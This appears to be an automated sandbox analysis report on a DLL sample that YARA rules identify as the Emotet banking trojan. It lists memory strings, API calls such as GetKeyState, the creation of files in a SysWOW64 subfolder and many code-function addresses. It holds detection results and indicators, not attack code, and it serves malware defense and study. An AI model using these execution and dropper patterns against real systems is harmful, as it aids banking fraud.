Source: svchost.exe, 00000011.00000003.419352679.0000024AA7D88000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-01-07T11:33:20.1626869Z\|\|.\|\|d5cdcec3-04df-404e-ba07-3240047c89f9\|\|1152921505694348672\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailab
Source: svchost.exe, 00000011.00000003.419425357.0000024AA7D8E000.00000004.00000001.sdmp, svchost.exe, 00000011.00000003.419352679.0000024AA7D88000.00000004.00000001.sdmp, svchost.exe, 00000011.00000003.419404673.0000024AA7D8E000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","SkuTitle":"Spotify - Music and Podcasts","Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY equals www.facebook.com (Facebook)
Source: svchost.exe, 00000011.00000003.419425357.0000024AA7D8E000.00000004.00000001.sdmp, svchost.exe, 00000011.00000003.419352679.0000024AA7D88000.00000004.00000001.sdmp, svchost.exe, 00000011.00000003.419404673.0000024AA7D8E000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","SkuTitle":"Spotify - Music and Podcasts","Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY equals www.twitter.com (Twitter)

Source: svchost.exe, 00000011.00000002.435821452.0000024AA7D00000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: svchost.exe, 00000011.00000002.435659671.0000024AA74EF000.00000004.00000001.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.10.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: rundll32.exe, 0000000A.00000003.343075591.0000000004D31000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?e16bf69187751
Source: svchost.exe, 00000011.00000003.408016367.0000024AA7D92000.00000004.00000001.sdmp, svchost.exe, 00000011.00000003.408127045.0000024AA7DB3000.00000004.00000001.sdmp, svchost.exe, 00000011.00000003.408267129.0000024AA8202000.00000004.00000001.sdmp	String found in binary or memory: http://help.disneyplus.com.
Source: svchost.exe, 00000011.00000003.408016367.0000024AA7D92000.00000004.00000001.sdmp, svchost.exe, 00000011.00000003.408127045.0000024AA7DB3000.00000004.00000001.sdmp, svchost.exe, 00000011.00000003.408267129.0000024AA8202000.00000004.00000001.sdmp	String found in binary or memory: https://disneyplus.com/legal.
Source: svchost.exe, 00000011.00000003.408016367.0000024AA7D92000.00000004.00000001.sdmp, svchost.exe, 00000011.00000003.408127045.0000024AA7DB3000.00000004.00000001.sdmp, svchost.exe, 00000011.00000003.408267129.0000024AA8202000.00000004.00000001.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/privacy-policy
Source: svchost.exe, 00000011.00000003.408016367.0000024AA7D92000.00000004.00000001.sdmp, svchost.exe, 00000011.00000003.408127045.0000024AA7DB3000.00000004.00000001.sdmp, svchost.exe, 00000011.00000003.408267129.0000024AA8202000.00000004.00000001.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/your-california-privacy-rights
Source: svchost.exe, 00000011.00000003.411715639.0000024AA7DB3000.00000004.00000001.sdmp, svchost.exe, 00000011.00000003.411696063.0000024AA7D92000.00000004.00000001.sdmp, svchost.exe, 00000011.00000003.411749032.0000024AA8202000.00000004.00000001.sdmp, svchost.exe, 00000011.00000003.413775795.0000024AA7D8E000.00000004.00000001.sdmp, svchost.exe, 00000011.00000003.411646731.0000024AA7DCA000.00000004.00000001.sdmp, svchost.exe, 00000011.00000003.411611343.0000024AA7DCA000.00000004.00000001.sdmp	String found in binary or memory: https://www.tiktok.com/legal/report/feedback

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 2_2_100012D0 recvfrom,

2_2_100012D0

Source: loaddll32.exe, 00000000.00000002.307427556.0000000000A4B000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_1000FF59 GetKeyState,GetKeyState,GetKeyState,GetKeyState,SendMessageA,		2_2_1000FF59
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1000FF59 GetKeyState,GetKeyState,GetKeyState,GetKeyState,SendMessageA,		3_2_1000FF59

E-Banking Fraud:

Yara detected Emotet

Show sources

Source: Yara match	File source: 7.2.rundll32.exe.4fb0000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.6c0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.4660000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4fa0000.21.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4a90000.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4950000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.3090000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4a90000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.550000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.47a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.2e50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4710000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.4630000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.2e50000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4fd0000.22.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.49b0000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.4ed0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.regsvr32.exe.d20000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.2e30000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.4d20000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4820000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.4fe0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.4540000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4ac0000.13.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4e70000.18.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.2e30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.520000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.4960000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.4990000.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.2e60000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.47f0000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4710000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.4570000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4c70000.16.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.5000000.23.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4b90000.14.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.720000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4980000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4ea0000.19.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4e70000.18.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.49e0000.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.4ea0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.regsvr32.exe.ed0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.4790000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.4790000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.4540000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4950000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.4ea0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.5010000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.6c0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.4fb0000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.47a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.47c0000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4f70000.20.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4f70000.20.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.47f0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4fd0000.22.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.6c0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4740000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.690000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4bc0000.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4b90000.14.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.4970000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.4960000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.520000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.4d20000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.4820000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4ca0000.17.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.690000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.47f0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.regsvr32.exe.d20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4c70000.16.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.49b0000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.4630000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.47f0000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.308556502.0000000004971000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.312426426.0000000004790000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.303864837.0000000002E50000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.308717246.0000000004ED1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.312591906.0000000002E30000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.310675126.00000000006C1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.308496197.00000000047A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.818600479.0000000004CA1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.816263427.0000000000551000.00000020.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.312707880.0000000004991000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.818149949.0000000004821000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.312062487.0000000004571000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.303938818.0000000003091000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.312157578.0000000004630000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.308585132.0000000004D20000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.303434167.0000000000D20000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.310610436.0000000000690000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.818434536.0000000004B90000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.818253319.00000000049B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.308691982.0000000004EA0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.312211500.0000000004661000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.818342645.0000000004A90000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.816816895.00000000006C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.818930567.0000000004F70000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.308783720.0000000004FE1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.312650834.0000000004960000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.818769110.0000000004E70000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.818077767.0000000004741000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.818990382.0000000004FA1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.818118455.00000000047F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.311999484.0000000004540000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.312633523.0000000002E61000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.818553417.0000000004C70000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.312609575.0000000004821000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.818862903.0000000004EA1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.818277549.00000000049E1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.819036173.0000000004FD0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.818224414.0000000004981000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.818194001.0000000004950000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.819084555.0000000005001000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.312500126.00000000047C1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.303487631.0000000000ED1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.816889903.0000000000721000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.816215619.0000000000520000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.308811399.0000000005011000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.308759081.0000000004FB0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.818044267.0000000004710000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.818377834.0000000004AC1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.818471974.0000000004BC1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.312556159.00000000047F0000.00000040.00000001.sdmp, type: MEMORY

System Summary:

Source: pugKLanrj3.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: C:\Windows\SysWOW64\rundll32.exe

File deleted: C:\Windows\SysWOW64\Ubjbeaftth\ufcmfnoys.ulp:Zone.Identifier

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

File created: C:\Windows\SysWOW64\Ubjbeaftth\

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_10020011	2_2_10020011
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_100181CA	2_2_100181CA
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_1001929D	2_2_1001929D
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_1002542D	2_2_1002542D
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_100274AE	2_2_100274AE
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_10026575	2_2_10026575
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_1001869D	2_2_1001869D
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_10016860	2_2_10016860
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_1002596F	2_2_1002596F
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_10022A5C	2_2_10022A5C
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_10018A71	2_2_10018A71
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_1001AAB7	2_2_1001AAB7
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_1001CB16	2_2_1001CB16
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_10018E7D	2_2_10018E7D
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_10025EB1	2_2_10025EB1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10020011	3_2_10020011
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1002542D	3_2_1002542D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_100274AE	3_2_100274AE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10026575	3_2_10026575
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1001178A	3_2_1001178A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10016860	3_2_10016860
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1002596F	3_2_1002596F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10022A5C	3_2_10022A5C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1001AAB7	3_2_1001AAB7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1001CB16	3_2_1001CB16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10025EB1	3_2_10025EB1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030AEFDD	3_2_030AEFDD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030A85FF	3_2_030A85FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030B2B09	3_2_030B2B09
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030A5333	3_2_030A5333
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0309F369	3_2_0309F369
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_03096B7A	3_2_03096B7A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0309238C	3_2_0309238C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0309FB8E	3_2_0309FB8E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_03094BFC	3_2_03094BFC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030A7A0F	3_2_030A7A0F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030A9A01	3_2_030A9A01
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030A4244	3_2_030A4244
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030AB257	3_2_030AB257
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030B3263	3_2_030B3263
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030A4A66	3_2_030A4A66
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030B0A64	3_2_030B0A64
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0309BAA9	3_2_0309BAA9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030AA2A5	3_2_030AA2A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030A0ABA	3_2_030A0ABA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030ACAD5	3_2_030ACAD5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0309D14C	3_2_0309D14C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030A2142	3_2_030A2142
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030AE955	3_2_030AE955
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030A017B	3_2_030A017B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030A6187	3_2_030A6187
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_03092194	3_2_03092194
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030AD1BC	3_2_030AD1BC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030AE1F8	3_2_030AE1F8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030B2009	3_2_030B2009
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030A8806	3_2_030A8806
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0309B820	3_2_0309B820
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030AF840	3_2_030AF840
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_03097078	3_2_03097078
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0309A871	3_2_0309A871
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030980C0	3_2_030980C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030AD8DB	3_2_030AD8DB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0309F0E9	3_2_0309F0E9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030B00EF	3_2_030B00EF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0309670B	3_2_0309670B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0309EF0C	3_2_0309EF0C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_03091F38	3_2_03091F38
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030AFF58	3_2_030AFF58
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030A5779	3_2_030A5779
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030A4F74	3_2_030A4F74
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030A9774	3_2_030A9774
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030A0F86	3_2_030A0F86
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030B07AA	3_2_030B07AA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030A8FAE	3_2_030A8FAE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030977A3	3_2_030977A3
